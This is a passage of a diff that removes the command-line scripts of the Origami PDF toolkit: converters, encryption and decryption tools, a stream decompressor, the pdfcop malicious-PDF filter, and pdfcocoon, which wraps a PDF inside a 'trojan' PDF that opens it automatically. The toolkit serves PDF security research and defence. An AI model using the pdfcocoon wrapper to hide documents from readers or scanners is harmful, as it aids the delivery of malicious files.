- BANNER = <] [-o ] -Enforces a document to be rendered as PDF/A. -This will disable multimedia features and JavaScript execution in Adobe Reader. -Bug reports or feature requests at: http://origami-pdf.googlecode.com/ - -Options: -USAGE - - def self.parser(options) - OptionParser.new do |opts| - opts.banner = BANNER - - opts.on("-o", "--output FILE", "Output PDF file (stdout by default)") do |o| - options[:output] = o - end - - opts.on_tail("-h", "--help", "Show this message") do - puts opts - exit - end - end - end - - def self.parse(args) - options = - { - :output => STDOUT, - } - - self.parser(options).parse!(args) - - options - end -end - -begin - @options = OptParser.parse(ARGV) - - target = (ARGV.empty?) ? STDIN : ARGV.shift - params = - { - :verbosity => Parser::VERBOSE_QUIET, - } - - PDF.read(target, params).save(@options[:output], :intent => 'PDF/A', :noindent => true) -rescue SystemExit -rescue Exception => e - STDERR.puts "#{e.class}: #{e.message}" - exit 1 -end - diff -Nru origami-1.2.7/bin/pdf2ruby origami-1.2.7+really0.7.4/bin/pdf2ruby --- origami-1.2.7/bin/pdf2ruby 2013-08-07 11:02:27.000000000 +0000 +++ origami-1.2.7+really0.7.4/bin/pdf2ruby 1970-01-01 00:00:00.000000000 +0000 @@ -1,360 +0,0 @@ -#!/usr/bin/env ruby - -=begin - -= Info - Convert a PDF document to an Origami script. - Experimental. - -= License: - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -= Author - Guillaume Delugré - -=end - -require 'optparse' -require 'fileutils' -begin - ORIGAMIDIR = "#{File.dirname(__FILE__)}/../lib" - require 'origami' -rescue LoadError - $: << ORIGAMIDIR - require 'origami' -end -include Origami - -@var_hash = {} -@code_hash = {} -@obj_route = [] -@current_idx = nil - -class OptParser - def self.parse(args) - options = {} - options[:verbose] = - options[:xstreams] = false - - opts = OptionParser.new do |opts| - opts.banner = < -Convert a PDF document to an Origami script (experimental). - -Options: -BANNER - - opts.on("-v", "--verbose", "Verbose mode") do - options[:verbose] = true - end - - opts.on("-x", "--extract-streams", "Extract PDF streams to separate files") do - options[:xstreams] = true - end - - opts.on_tail("-h", "--help", "Show this message") do - puts opts - exit - end - end - opts.parse!(args) - - options - end -end - -@options = OptParser.parse(ARGV) - -if ARGV.empty? - STDERR.puts "Error: No filename was specified. #{$0} --help for details." - exit 1 -else - TARGET = ARGV.shift -end - -Origami::OPTIONS[:enable_type_guessing] = Origami::OPTIONS[:enable_type_propagation] = true - -TARGET_DIR = File.basename(TARGET, '.pdf') -TARGET_FILE = "#{TARGET_DIR}/#{TARGET_DIR}.rb" -STREAM_DIR = "streams" - -def objectToRuby(obj, inclevel = 0, internalname = nil, do_convert = false) - code = "" - - code << - case obj - when Origami::Null - "Null.new" - when Origami::Boolean, Origami::Number - obj.value.to_s - when Origami::String - "'#{obj.value.gsub("'","\\\\'")}'" - when Origami::Dictionary - customclass = nil - if obj.class != Origami::Dictionary - p = (obj.class == Origami::Encoding) ? 0 : 1 - customclass = obj.class.to_s.split('::')[p..-1].join('::') # strip Origami prefix if there is no collision - end - dictionaryToRuby(obj, inclevel, internalname, customclass) - when Origami::Array - arrayToRuby(obj, inclevel, internalname) - when Origami::Stream - streamToRuby(obj, internalname) - when Origami::Name - nameToRuby(obj) - when Origami::Reference - referenceToRuby(obj, internalname) - else - raise RuntimeError, "Unknown object type: #{obj.class}" - end - - case obj - when Origami::String, Origami::Dictionary, Origami::Array, Origami::Name - code << ".to_o" if do_convert - end - - code -end - -def referenceToRuby(ref, internalname) - varname = @var_hash[ref] - - if varname.nil? - "nil" - elsif @obj_route[0..@current_idx].include?(varname) - @code_hash[varname] ||= {} - @code_hash[varname][:afterDecl] ||= [] - @code_hash[varname][:afterDecl] << "#{internalname} = #{varname}"#.to_o.set_indirect(true)" - - "nil" - else - @obj_route.push(varname) unless @obj_route.include?(varname) - varname - end -end - -def nameToRuby(name) - code = ':' - valid = (name.value.to_s =~ /[+.:-]/).nil? - - code << '"' unless valid - code << name.value.to_s - code << '"' unless valid - - code -end - -def arrayToRuby(arr, inclevel, internalname) - i = 0 - code = "\n" + " " * inclevel + "[" - arr.each do |obj| - subintname = "#{internalname}[#{i}]" - - code << "#{objectToRuby(obj, inclevel + 1, subintname)}" - code << ", " unless i == arr.length - 1 - i = i + 1 - end - code << "]" - - code -end - -def dictionaryToRuby(dict, inclevel, internalname, customtype = nil) - i = 0 - code = "\n" + " " * inclevel - - if customtype - code << "#{customtype}.new(#{dictionaryToHashMap(dict, inclevel, internalname)}" - code << " " * inclevel + ")" - else - code << "{\n" - dict.each_pair do |key, val| - rubyname = nameToRuby(key) - subintname = "#{internalname}[#{rubyname}]" - - if val.is_a?(Origami::Reference) and @var_hash[val] and @var_hash[val][0,3] == "obj" - oldname = @var_hash[val] - newname = (key.value.to_s.downcase + "_" + @var_hash[val][4..-1]).gsub('.','_') - - if not @obj_route.include?(oldname) - @var_hash[val] = newname - @code_hash[newname] = @code_hash[oldname] - @code_hash.delete(oldname) - end - end - - code << " " * (inclevel + 1) + - "#{rubyname} => #{objectToRuby(val, inclevel + 2, subintname)}" - code << ", " unless i == dict.length - 1 - - i = i + 1 - code << "\n" - end - code << " " * inclevel + "}" - end - - code -end - -def dictionaryToHashMap(dict, inclevel, internalname) - i = 0 - code = "\n" - dict.each_pair do |key, val| - rubyname = nameToRuby(key) - subintname = "#{internalname}[#{rubyname}]" - - if val.is_a?(Origami::Reference) and @var_hash[val] and @var_hash[val][0,3] == "obj" - oldname = @var_hash[val] - newname = (key.value.to_s.downcase + "_" + @var_hash[val][4..-1]).gsub('.','_') - - if not @obj_route.include?(oldname) - @var_hash[val] = newname - @code_hash[newname] = @code_hash[oldname] - @code_hash.delete(oldname) - end - end - - code << " " * (inclevel + 1) + - "#{rubyname} => #{objectToRuby(val, inclevel + 2, subintname)}" - code << ", " unless i == dict.length - 1 - i = i + 1 - code << "\n" - end - - code -end - -def streamToRuby(stm, internalname) - dict = stm.dictionary.dup.delete_if{|k,v| k == :Length or k == :Filter} - - code = "Stream.new(" - - if @options[:xstreams] - stmdir = "#{TARGET_DIR}/#{STREAM_DIR}" - Dir::mkdir(stmdir) unless File.directory? stmdir - stmfile = "#{stmdir}/stm_#{stm.reference.refno}.data" - File.open(stmfile, "w") do |stmfd| - stmfd.write stm.data - end - - code << "File.read('#{STREAM_DIR}/stm_#{stm.reference.refno}.data')" - else - code << stm.data.inspect - end - - code << ", #{dictionaryToHashMap(dict, 1, internalname)}" unless dict.empty? - code << ")" - if stm.dictionary.has_key? :Filter - code << ".setFilter(#{objectToRuby(stm.Filter, 1, internalname)})" - end - - code -end - -Console.colorprint "[*] ", Console::Colors::RED -puts "Loading document '#{TARGET}'" -verbosity = @options[:verbose] ? Parser::VERBOSE_INSANE : Parser::VERBOSE_QUIET -target = PDF.read(TARGET, :verbosity => verbosity) -Console.colorprint "[*] ", Console::Colors::RED -puts "Document successfully loaded into Origami" - -Dir::mkdir(TARGET_DIR) unless File.directory? TARGET_DIR -fd = File.open(TARGET_FILE, 'w', 0700) - -DOCREF = "pdf" -ORIGAMI_PATH = ORIGAMIDIR[0,1] == '/' ? - ORIGAMIDIR : - "../#{ORIGAMIDIR}" - -fd.puts < - -= Info: - Embeds and PDF document into a trojan PDF document. - -= License: - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -begin - require 'origami' -rescue LoadError - ORIGAMIDIR = "#{File.dirname(__FILE__)}/../lib" - $: << ORIGAMIDIR - require 'origami' -end -include Origami - -require 'optparse' - -class OptParser - BANNER = <] [-o ] -Embeds and PDF document into a trojan PDF document. -Bug reports or feature requests at: http://origami-pdf.googlecode.com/ - -Options: -USAGE - - def self.parser(options) - OptionParser.new do |opts| - opts.banner = BANNER - - opts.on("-o", "--output FILE", "Output PDF file (stdout by default)") do |o| - options[:output] = o - end - - opts.on_tail("-h", "--help", "Show this message") do - puts opts - exit - end - end - end - - def self.parse(args) - options = - { - :output => STDOUT, - } - - self.parser(options).parse!(args) - - options - end -end - -begin - @options = OptParser.parse(ARGV) - - target = (ARGV.empty?) ? STDIN : ARGV.shift - - EMBEDDEDNAME = "#{::Array.new(5){ rand(26) + 97}}.pdf" - - pdf = PDF.new - - objstm = ObjectStream.new.setFilter(:FlateDecode) - pdf.insert(objstm) - - pagetree = PageTreeNode.new.insert_page(0, page = Page.new) - pdf.Catalog.Pages = objstm.insert(pagetree) - objstm.insert(page) - - file = objstm.insert(pdf.attach_file(target, :Register => false)) - pdf.Catalog.Names = objstm.insert( - Names.new.setEmbeddedFiles(NameTreeNode.new.setNames([ EMBEDDEDNAME, file ])) - ) - - page.onOpen Action::GoToE.new(EMBEDDEDNAME, Destination::GlobalFit.new(0)) - - pdf.save(@options[:output], :noindent => true) - -rescue SystemExit -rescue Exception => e - STDERR.puts "#{e.class}: #{e.message}" - exit 1 -end - diff -Nru origami-1.2.7/bin/pdfcop origami-1.2.7+really0.7.4/bin/pdfcop --- origami-1.2.7/bin/pdfcop 2011-10-12 15:46:36.000000000 +0000 +++ origami-1.2.7+really0.7.4/bin/pdfcop 1970-01-01 00:00:00.000000000 +0000 @@ -1,455 +0,0 @@ -#!/usr/bin/env ruby - -=begin - -= Author: - Guillaume Delugré - -= Info: - This is a PDF document filtering engine using Origami. - Security policies are based on a white list of PDF features. - Default policies details can be found in the default configuration file. - You can also add your own policy and activate it using the -p switch. - -= License: - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -begin - require 'origami' -rescue LoadError - ORIGAMIDIR = "#{File.dirname(__FILE__)}/../lib" - $: << ORIGAMIDIR - require 'origami' -end -include Origami - -require 'optparse' -require 'yaml' -require 'rexml/document' -require 'digest/md5' - -DEFAULT_CONFIG_FILE = "#{File.dirname(__FILE__)}/config/pdfcop.conf.yml" -DEFAULT_POLICY = "standard" -SECURITY_POLICIES = {} - -def load_config_file(path) - SECURITY_POLICIES.update(Hash.new(false).update YAML.load(File.read(path))) -end - -class OptParser - BANNER = < -The PDF filtering engine. Scans PDF documents for malicious structures. -Bug reports or feature requests at: http://origami-pdf.googlecode.com/ - -Options: -USAGE - - def self.parse(args) - options = {:colors => true} - - opts = OptionParser.new do |opts| - opts.banner = BANNER - - opts.on("-o", "--output LOG_FILE", "Output log file (default STDOUT)") do |o| - options[:output_log] = o - end - - opts.on("-c", "--config CONFIG_FILE", "Load security policies from given configuration file") do |cf| - options[:config_file] = cf - end - - opts.on("-p", "--policy POLICY_NAME", "Specify applied policy. Predefined policies: 'none', 'standard', 'strong', 'paranoid'") do |p| - options[:policy] = p - end - - opts.on("-n", "--no-color", "Suppress colored output") do - options[:colors] = false - end - - opts.on_tail("-h", "--help", "Show this message") do - puts opts - exit - end - end - opts.parse!(args) - - options - end -end - -@options = OptParser.parse(ARGV) -if @options.has_key?(:output_log) - LOGGER = File.open(@options[:output_log], "a+") -else - LOGGER = STDOUT -end - -if not @options.has_key?(:policy) - @options[:policy] = DEFAULT_POLICY -end - -load_config_file(@options[:config_file] || DEFAULT_CONFIG_FILE) -unless SECURITY_POLICIES.has_key?("POLICY_#{@options[:policy].upcase}") - STDERR.puts "Undeclared policy `#{@options[:policy]}'" - exit(1) -end - -if ARGV.empty? - STDERR.puts "Error: No filename was specified. #{$0} --help for details." - exit 1 -else - TARGET = ARGV.shift -end - -def log(str, color = Console::Colors::GREY) - if @options[:colors] - Console.colorprint("[#{Time.now}] ", Console::Colors::CYAN, LOGGER) - Console.colorprint(str, color, LOGGER) - else - LOGGER.print("[#{Time.now}] #{str}") - end - - LOGGER.puts -end - -def reject(cause) - log("Document rejected by policy `#{@options[:policy]}', caused by #{cause.inspect}.", Console::Colors::RED) - exit(1) -end - -def check_rights(*required_rights) - current_rights = SECURITY_POLICIES["POLICY_#{@options[:policy].upcase}"] - - reject(required_rights) if required_rights.any?{|right| current_rights[right.to_s] == false} -end - -def analyze_xfa_forms(xfa) - case xfa - when Array then - xml = "" - i = 0 - xfa.each do |packet| - if i % 2 == 1 - xml << packet.solve.data - end - - i = i + 1 - end - when Stream then - xml = xfa.data - else - reject("Malformed XFA dictionary") - end - - xfadoc = REXML::Document.new(xml) - REXML::XPath.match(xfadoc, "//script").each do |script| - case script.attributes["contentType"] - when "application/x-formcalc" then - check_rights(:allowFormCalc) - else - check_rights(:allowJS) - end - end -end - -def analyze_annotation(annot, level = 0) - check_rights(:allowAnnotations) - - if annot.is_a?(Dictionary) and annot.has_key?(:Subtype) - case annot[:Subtype].solve.value - when :FileAttachment then - check_rights(:allowAttachments, :allowFileAttachmentAnnotation) - - when :Sound then - check_rights(:allowSoundAnnotation) - - when :Movie then - check_rights(:allowMovieAnnotation) - - when :Screen then - check_rights(:allowScreenAnnotation) - - when :Widget then - check_rights(:allowAcroforms) - - when :"3D" then - check_rights(:allow3DAnnotation) - - # 3D annotation might pull in JavaScript for real-time driven behavior. - if annot.has_key?(:"3DD") - dd = annot[:"3DD"].solve - u3dstream = nil - - case dd - when Stream then - u3dstream = dd - when Dictionary then - u3dstream = dd[:"3DD"] - end - - if u3dstream and u3dstream.has_field?(:OnInstantiate) - check_rights(:allowJS) - - if annot.has_key?(:"3DA") # is 3d view instantiated automatically? - u3dactiv = annot[:"3DA"].solve - - check_rights(:allowJSAtOpening) if u3dactiv.is_a?(Dictionary) and (u3dactiv[:A] == :PO or u3dactiv[:A] == :PV) - end - end - end - - when :RichMedia then - check_rights(:allowRichMediaAnnotation) - end - end -end - -def analyze_page(page, level = 0) - section_prefix = " " * 2 * level + ">" * (level + 1) - log(section_prefix + " Inspecting page...") - - text_prefix = " " * 2 * (level + 1) + "." * (level + 1) - if page.is_a?(Dictionary) - - # - # Checking page additional actions. - # - if page.has_key?(:AA) - if page.AA.is_a?(Dictionary) - log(text_prefix + " Page has an action dictionary.") - - aa = PageAdditionalActions.new(page.AA); aa.parent = page.AA.parent - analyze_action(aa.O, true, level + 1) if aa.has_key?(:O) - analyze_action(aa.C, false, level + 1) if aa.has_key?(:C) - end - end - - # - # Looking for page annotations. - # - page.each_annot do |annot| - analyze_annotation(annot, level + 1) - end - end -end - -def analyze_action(action, triggered_at_opening, level = 0) - section_prefix = " " * 2 * level + ">" * (level + 1) - log(section_prefix + " Inspecting action...") - - text_prefix = " " * 2 * (level + 1) + "." * (level + 1) - if action.is_a?(Dictionary) - log(text_prefix + " Found #{action[:S]} action.") - type = action[:S].is_a?(Reference) ? action[:S].solve : action[:S] - - case type.value - when :JavaScript - check_rights(:allowJS) - check_rights(:allowJSAtOpening) if triggered_at_opening - - when :Launch - check_rights(:allowLaunchAction) - - when :Named - check_rights(:allowNamedAction) - - when :GoTo - check_rights(:allowGoToAction) - dest = action[:D].is_a?(Reference) ? action[:D].solve : action[:D] - if dest.is_a?(Array) and dest.length > 0 and dest.first.is_a?(Reference) - dest_page = dest.first.solve - if dest_page.is_a?(Page) - log(text_prefix + " Destination page found.") - analyze_page(dest_page, level + 1) - end - end - - when :GoToE - check_rights(:allowAttachments,:allowGoToEAction) - - when :GoToR - check_rights(:allowGoToRAction) - - when :Thread - check_rights(:allowGoToRAction) if action.has_key?(:F) - - when :URI - check_rights(:allowURIAction) - - when :SubmitForm - check_rights(:allowAcroForms,:allowSubmitFormAction) - - when :ImportData - check_rights(:allowAcroForms,:allowImportDataAction) - - when :Rendition - check_rights(:allowScreenAnnotation,:allowRenditionAction) - - when :Sound - check_rights(:allowSoundAnnotation,:allowSoundAction) - - when :Movie - check_rights(:allowMovieAnnotation,:allowMovieAction) - - when :RichMediaExecute - check_rights(:allowRichMediaAnnotation,:allowRichMediaAction) - - when :GoTo3DView - check_rights(:allow3DAnnotation,:allowGoTo3DAction) - end - - if action.has_key?(:Next) - log(text_prefix + "This action is chained to another action!") - check_rights(:allowChainedActions) - analyze_action(action.Next) - end - elsif action.is_a?(Array) - dest = action - if dest.length > 0 and dest.first.is_a?(Reference) - dest_page = dest.first.solve - if dest_page.is_a?(Page) - log(text_prefix + " Destination page found.") - check_rights(:allowGoToAction) - analyze_page(dest_page, level + 1) - end - end - end -end - -begin - log("PDFcop is running on target `#{TARGET}', policy = `#{@options[:policy]}'", Console::Colors::GREEN) - log(" File size: #{File.size(TARGET)} bytes", Console::Colors::MAGENTA) - log(" MD5: #{Digest::MD5.hexdigest(File.read(TARGET))}", Console::Colors::MAGENTA) - - @pdf = PDF.read(TARGET, - :verbosity => Parser::VERBOSE_QUIET, - :ignore_errors => SECURITY_POLICIES["POLICY_#{@options[:policy].upcase}"]['allowParserErrors'] - ) - - log("> Inspecting document structure...", Console::Colors::YELLOW) - if @pdf.is_encrypted? - log(" . Encryption = YES") - check_rights(:allowEncryption) - end - - log("> Inspecting document catalog...", Console::Colors::YELLOW) - catalog = @pdf.Catalog - reject("Invalid document catalog") unless catalog.is_a?(Catalog) - - if catalog.has_key?(:OpenAction) - log(" . OpenAction entry = YES") - check_rights(:allowOpenAction) - action = catalog.OpenAction - analyze_action(action, true, 1) - end - - if catalog.has_key?(:AA) - if catalog.AA.is_a?(Dictionary) - aa = CatalogAdditionalActions.new(catalog.AA); aa.parent = catalog; - log(" . Additional actions dictionary = YES") - analyze_action(aa.WC, false, 1) if aa.has_key?(:WC) - analyze_action(aa.WS, false, 1) if aa.has_key?(:WS) - analyze_action(aa.DS, false, 1) if aa.has_key?(:DS) - analyze_action(aa.WP, false, 1) if aa.has_key?(:WP) - analyze_action(aa.DP, false, 1) if aa.has_key?(:DP) - end - end - - if catalog.has_key?(:AcroForm) - acroform = catalog.AcroForm - if acroform.is_a?(Dictionary) - log(" . AcroForm = YES") - check_rights(:allowAcroForms) - if acroform.has_key?(:XFA) - log(" . XFA = YES") - check_rights(:allowXFAForms) - - analyze_xfa_forms(acroform[:XFA].solve) - end - end - end - - log("> Inspecting JavaScript names directory...", Console::Colors::YELLOW) - unless @pdf.ls_names(Names::Root::JAVASCRIPT).empty? - check_rights(:allowJS) - check_rights(:allowJSAtOpening) - end - - log("> Inspecting attachment names directory...", Console::Colors::YELLOW) - unless @pdf.ls_names(Names::Root::EMBEDDEDFILES).empty? - check_rights(:allowAttachments) - end - - log("> Inspecting document pages...", Console::Colors::YELLOW) - @pdf.each_page do |page| - analyze_page(page, 1) - end - - log("> Inspecting document streams...", Console::Colors::YELLOW) - @pdf.indirect_objects.find_all{|obj| obj.is_a?(Stream)}.each do |stream| - if stream.dictionary.has_key?(:Filter) - filters = stream.Filter - filters = [ filters ] if filters.is_a?(Name) - - if filters.is_a?(Array) - filters.each do |filter| - case filter.value - when :ASCIIHexDecode - check_rights(:allowASCIIHexFilter) - when :ASCII85Decode - check_rights(:allowASCII85Filter) - when :LZWDecode - check_rights(:allowLZWFilter) - when :FlateDecode - check_rights(:allowFlateDecode) - when :RunLengthDecode - check_rights(:allowRunLengthFilter) - when :CCITTFaxDecode - check_rights(:allowCCITTFaxFilter) - when :JBIG2Decode - check_rights(:allowJBIG2Filter) - when :DCTDecode - check_rights(:allowDCTFilter) - when :JPXDecode - check_rights(:allowJPXFilter) - when :Crypt - check_rights(:allowCryptFilter) - end - end - end - end - end - - # - # TODO: Detect JS at opening in XFA (check event tag) - # Check image encoding in XFA ? - # Only allow valid signed documents ? - # Recursively scan attached files. - # On-the-fly injection of prerun JS code to hook vulnerable methods (dynamic exploit detection) ??? - # ... - # - - log("Document accepted by policy `#{@options[:policy]}'.", Console::Colors::GREEN) - -rescue SystemExit -rescue Exception => e - log("An error occured during analysis : #{e.class} (#{e.message})") - reject("Analysis failure") -ensure - LOGGER.close -end - diff -Nru origami-1.2.7/bin/pdfdecompress origami-1.2.7+really0.7.4/bin/pdfdecompress --- origami-1.2.7/bin/pdfdecompress 2011-10-12 15:46:36.000000000 +0000 +++ origami-1.2.7+really0.7.4/bin/pdfdecompress 1970-01-01 00:00:00.000000000 +0000 @@ -1,104 +0,0 @@ -#!/usr/bin/env ruby - -=begin - -= Author: - Guillaume Delugré - -= Info: - Uncompresses all binary streams of a PDF document. - -= License: - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -begin - require 'origami' -rescue LoadError - ORIGAMIDIR = "#{File.dirname(__FILE__)}/../lib" - $: << ORIGAMIDIR - require 'origami' -end -include Origami - -require 'optparse' - -class OptParser - BANNER = <] [-p ] [-o ] -Uncompresses all binary streams of a PDF document. -Bug reports or feature requests at: http://origami-pdf.googlecode.com/ - -Options: -USAGE - - def self.parser(options) - OptionParser.new do |opts| - opts.banner = BANNER - - opts.on("-o", "--output FILE", "Output PDF file (stdout by default)") do |o| - options[:output] = o - end - - opts.on_tail("-h", "--help", "Show this message") do - puts opts - exit - end - end - end - - def self.parse(args) - options = - { - :output => STDOUT, - } - - self.parser(options).parse!(args) - - options - end -end - -begin - @options = OptParser.parse(ARGV) - - target = (ARGV.empty?) ? STDIN : ARGV.shift - params = - { - :verbosity => Parser::VERBOSE_QUIET, - } - - pdf = PDF.read(target, params) - - pdf.root_objects.find_all { |obj| - obj.is_a?(Stream) - }.each { |stream| - filters = stream.Filter - filters = [ filters ] unless filters.is_a?(::Array) - - unless filters.any?{|filter| [ :JPXDecode, :DCTDecode, :JBIG2Decode ].include? filter} - stream.rawdata = stream.data - stream.dictionary.delete(:Filter) - end - } - - pdf.save(@options[:output], :noindent => true) - -rescue SystemExit -rescue Exception => e - STDERR.puts "#{e.class}: #{e.message}" - exit 1 -end - diff -Nru origami-1.2.7/bin/pdfdecrypt origami-1.2.7+really0.7.4/bin/pdfdecrypt --- origami-1.2.7/bin/pdfdecrypt 2011-10-12 15:46:36.000000000 +0000 +++ origami-1.2.7+really0.7.4/bin/pdfdecrypt 1970-01-01 00:00:00.000000000 +0000 @@ -1,95 +0,0 @@ -#!/usr/bin/env ruby - -=begin - -= Author: - Guillaume Delugré - -= Info: - Decrypts a PDF document. - -= License: - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -begin - require 'origami' -rescue LoadError - ORIGAMIDIR = "#{File.dirname(__FILE__)}/../lib" - $: << ORIGAMIDIR - require 'origami' -end -include Origami - -require 'optparse' - -class OptParser - BANNER = <] [-p ] [-o ] -Decrypts a PDF document. Supports RC4 40 to 128 bits, AES128, AES256. -Bug reports or feature requests at: http://origami-pdf.googlecode.com/ - -Options: -USAGE - - def self.parser(options) - OptionParser.new do |opts| - opts.banner = BANNER - - opts.on("-o", "--output FILE", "Output PDF file (stdout by default)") do |o| - options[:output] = o - end - - opts.on("-p", "--password PASSWORD", "Password of the document") do |p| - options[:password] = p - end - - opts.on_tail("-h", "--help", "Show this message") do - puts opts - exit - end - end - end - - def self.parse(args) - options = - { - :output => STDOUT, - :password => '' - } - - self.parser(options).parse!(args) - - options - end -end - -begin - @options = OptParser.parse(ARGV) - - target = (ARGV.empty?) ? STDIN : ARGV.shift - params = - { - :verbosity => Parser::VERBOSE_QUIET, - :password => @options[:password] - } - - PDF.read(target, params).save(@options[:output], :decrypt => true, :noindent => true) -rescue SystemExit -rescue Exception => e - STDERR.puts "#{e.class}: #{e.message}" - exit 1 -end - diff -Nru origami-1.2.7/bin/pdfencrypt origami-1.2.7+really0.7.4/bin/pdfencrypt --- origami-1.2.7/bin/pdfencrypt 2012-04-06 12:39:15.000000000 +0000 +++ origami-1.2.7+really0.7.4/bin/pdfencrypt 1970-01-01 00:00:00.000000000 +0000 @@ -1,118 +0,0 @@ -#!/usr/bin/env ruby - -=begin - -= Author: - Guillaume Delugré - -= Info: - Encrypts a PDF document. - -= License: - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -begin - require 'origami' -rescue LoadError - ORIGAMIDIR = "#{File.dirname(__FILE__)}/../lib" - $: << ORIGAMIDIR - require 'origami' -end -include Origami - -require 'optparse' - -class OptParser - BANNER = <] [-p ] [-c ] [-s ] [--hardened] [-o ] -Encrypts a PDF document. Supports RC4 40 to 128 bits, AES128, AES256. -Bug reports or feature requests at: http://origami-pdf.googlecode.com/ - -Options: -USAGE - - def self.parser(options) - OptionParser.new do |opts| - opts.banner = BANNER - - opts.on("-o", "--output FILE", "Output PDF file (stdout by default)") do |o| - options[:output] = o - end - - opts.on("-p", "--password PASSWORD", "Password of the document") do |p| - options[:password] = p - end - - opts.on("-c", "--cipher CIPHER", "Cipher used to encrypt the document (Default: AES)") do |c| - options[:cipher] = c - end - - opts.on("-s", "--key-size KEYSIZE", "Key size in bits (Default: 128)") do |s| - options[:key_size] = s.to_i - end - - opts.on("--hardened", "Use stronger key validation scheme (only AES-256)") do - options[:hardened] = true - end - - opts.on_tail("-h", "--help", "Show this message") do - puts opts - exit - end - end - end - - def self.parse(args) - options = - { - :output => STDOUT, - :password => '', - :cipher => 'aes', - :key_size => 128, - :hardened => false - } - - self.parser(options).parse!(args) - - options - end -end - -begin - @options = OptParser.parse(ARGV) - - target = (ARGV.empty?) ? STDIN : ARGV.shift - params = - { - :verbosity => Parser::VERBOSE_QUIET, - } - - pdf = PDF.read(target, params) - pdf.encrypt( - :user_passwd => @options[:password], - :owner_passwd => @options[:password], - :cipher => @options[:cipher], - :key_size => @options[:key_size], - :hardened => @options[:hardened] - ) - pdf.save(@options[:output], :noindent => true) - -rescue SystemExit -rescue Exception => e - STDERR.puts "#{e.class}: #{e.message} #{e.backtrace}" - exit 1 -end - diff -Nru origami-1.2.7/bin/pdfexplode origami-1.2.7+really0.7.4/bin/pdfexplode --- origami-1.2.7/bin/pdfexplode 2013-04-16 14:43:12.000000000 +0000 +++ origami-1.2.7+really0.7.4/bin/pdfexplode 1970-01-01 00:00:00.000000000 +0000 @@ -1,220 +0,0 @@ -#!/usr/bin/env ruby - -=begin - -= Author: - Guillaume Delugré - -= Info: - Explodes a PDF into separate documents. -= License: - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -begin - require 'origami' -rescue LoadError - ORIGAMIDIR = "#{File.dirname(__FILE__)}/../lib" - $: << ORIGAMIDIR - require 'origami' -end -include Origami - -require 'optparse' -require 'rexml/document' - -class OptParser - BANNER = < [-r ] [-t pages|rsrc] [-d ] -Explodes a document into separate documents. -Bug reports or feature requests at: http://origami-pdf.googlecode.com/ - -Options: -USAGE - - def self.parser(options) - OptionParser.new do |opts| - opts.banner = BANNER - - opts.on("-d", "--output-dir DIR", "Output directory.") do |d| - options[:output_dir] = d - end - - opts.on("-r", "--range PAGES", "Page range (e.g: 2-, 1-3, 5). Default to '-'.") do |r| - range = - if r.index('-').nil? - page = r.to_i - Range.new(page-1, page-1) - else - from, to = r.split('-').map{|bound| bound.to_i} - from ||= 1 - to ||= 0 - Range.new(from-1, to-1) - end - options[:page_range] = range - end - - opts.on("-t", "--type TYPE", "Split by type. Can be 'pages' or 'rsrc'. Default to 'pages'.") do |t| - options[:split_by] = t - end - - opts.on_tail("-h", "--help", "Show this message.") do - puts opts - exit - end - end - end - - def self.parse(args) - options = - { - :page_range => (0..-1), - :split_by => 'pages' - } - - self.parser(options).parse!(args) - - options - end -end - -begin - @options = OptParser.parse(ARGV) - - if ARGV.empty? - STDERR.puts "Error: No filename was specified. #{$0} --help for details." - exit 1 - else - target = ARGV.shift - end - - if @options[:output_dir].nil? - @options[:output_dir] = "#{File.join(File.dirname(target), File.basename(target,'.pdf'))}.explode" - end - - Origami::OPTIONS[:ignore_bad_references] = true - OUTPUT_DIR = @options[:output_dir] - Dir::mkdir(OUTPUT_DIR) unless File.directory?(OUTPUT_DIR) - - def split_by_rsrc(n, page, type) - all_rsrc = 